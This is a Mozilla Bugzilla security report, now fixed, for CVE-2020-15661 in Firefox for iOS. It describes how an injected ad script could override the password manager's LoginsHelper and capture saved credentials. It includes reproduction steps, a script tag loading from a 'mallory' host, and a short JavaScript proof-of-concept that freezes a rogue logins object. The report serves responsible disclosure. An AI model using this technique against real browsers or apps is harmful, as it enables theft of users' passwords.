Closed Bug 1654131 (CVE-2020-15661) Opened 4 years ago Closed 4 years ago

Rogue LoginsHelper (password manager) can be injected by untrusted web contents

Categories

(Firefox for iOS :: Login Management, defect)

Other
iOS
defect

Tracking

()

RESOLVED FIXED
Tracking Status
fxios 28 ---

People

(Reporter: sdna.muneaki.nishimura, Assigned: garvan)

References

Details

(Keywords: csectype-disclosure, sec-high, Whiteboard: [sec-survey])

Attachments

(2 files)

User Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.2 Safari/605.1.15

Steps to reproduce:

Any web content can define rogue LoginsHelper (window.firefox.logins).
That can be abused for large-scale attacks by injecting malicious ad script to the page for stealing user's IDs and passwords.

(1) Victim visits http://csrf.jp/2020/form.html
(2) Victim enters (any) ID and password and login
(3) Login helper shows the snackbar to ask Victim to save the credentials, then Victim choose "Save Login"
(4) Victim clicks a link that goes to http://csrf.jp/2020/anywhere.html
(5) The above page (anywhere.html) has no HTML form and load Bad Ad script from http://mallory.csrf.jp/2020/bad_ad.js
(6) Bad Ad script defines window.firefox,logins object that steals IDs and passwords that were sent from LoginsHelper.swift
(7) All of the user's IDs and passwords are stolen by Bad Ad (see attached video for demonstration).

Actual results:

The reason why legitimate LoginsHelper is overridden is that LoginsHelper.js is injected at the timing of AtDocumentEnd.
https://github.com/mozilla-mobile/firefox-ios/blob/76faae8c6c94e22c8fbc0de72e2d06f615738e2c/Client/Frontend/UserContent/UserScripts/AllFrames/AtDocumentEnd/LoginsHelper.js#L10

WKWebView's JS hook lifecycle is below.
[1] AtDocumentStart -> [2] Load web document -> [3] AtDocumentEnd

In anywhere.html at (4), the page loads a mallicious ad script that contains exploit code.

<!-- Ad -->
<script src="//mallory.csrf.jp/2020/bad_ad.js"></script>

In bad_ad.js at (6) define the mallicius LoginHelper as an immutable object at [2]. So the setting of legitimate helper at [3] is rejected.

function LoginInjector() {
  this.inject = function(msg) {
    // Steal password here
    alert("Hi victim! We got your passwords!");
    alert(JSON.stringify(msg));
  };
}

Object.defineProperty(window.__firefox__, "logins", {
  enumerable: false,
  configurable: false,
  writable: false,
  value: Object.freeze(new LoginInjector())
});

Expected results:

The legitimate LoginsHelper (window.firefox.logins) should be set at [1] AtDocumentStart.
If not possible, try to detect whether other helper is already set before, and not filling the ID and password in polluted pages.

Adding bounty nomination per email from the reporter

Flags: sec-bounty?

x-ref to https://github.com/mozilla-mobile/firefox-ios/issues/7001

Reporter: thanks, this sounds serious, we will look asap

Status: NEW → RESOLVED
Closed: 4 years ago
Resolution: --- → FIXED
tracking-fxios: --- → 28
Assignee: nobody → gkeeley
Attached file advisory.txt

We can use CVE-2020-15661

Alias: CVE-2020-15661
Flags: sec-bounty? → sec-bounty+
Group: mobile-core-security → core-security-release

As part of a security bug pattern analysis, we are requesting your help with a high level analysis of this bug. It is our hope to develop static analysis (or potentially runtime/dynamic analysis) in the future to identify classes of bugs.

Please visit this google form to reply.

Flags: needinfo?(gkeeley)
Whiteboard: [sec-survey]

filled out form

Flags: needinfo?(gkeeley)
Group: core-security-release
You need to log in before you can comment on or make changes to this bug.

Attachment

General

Created:
Updated:
Size: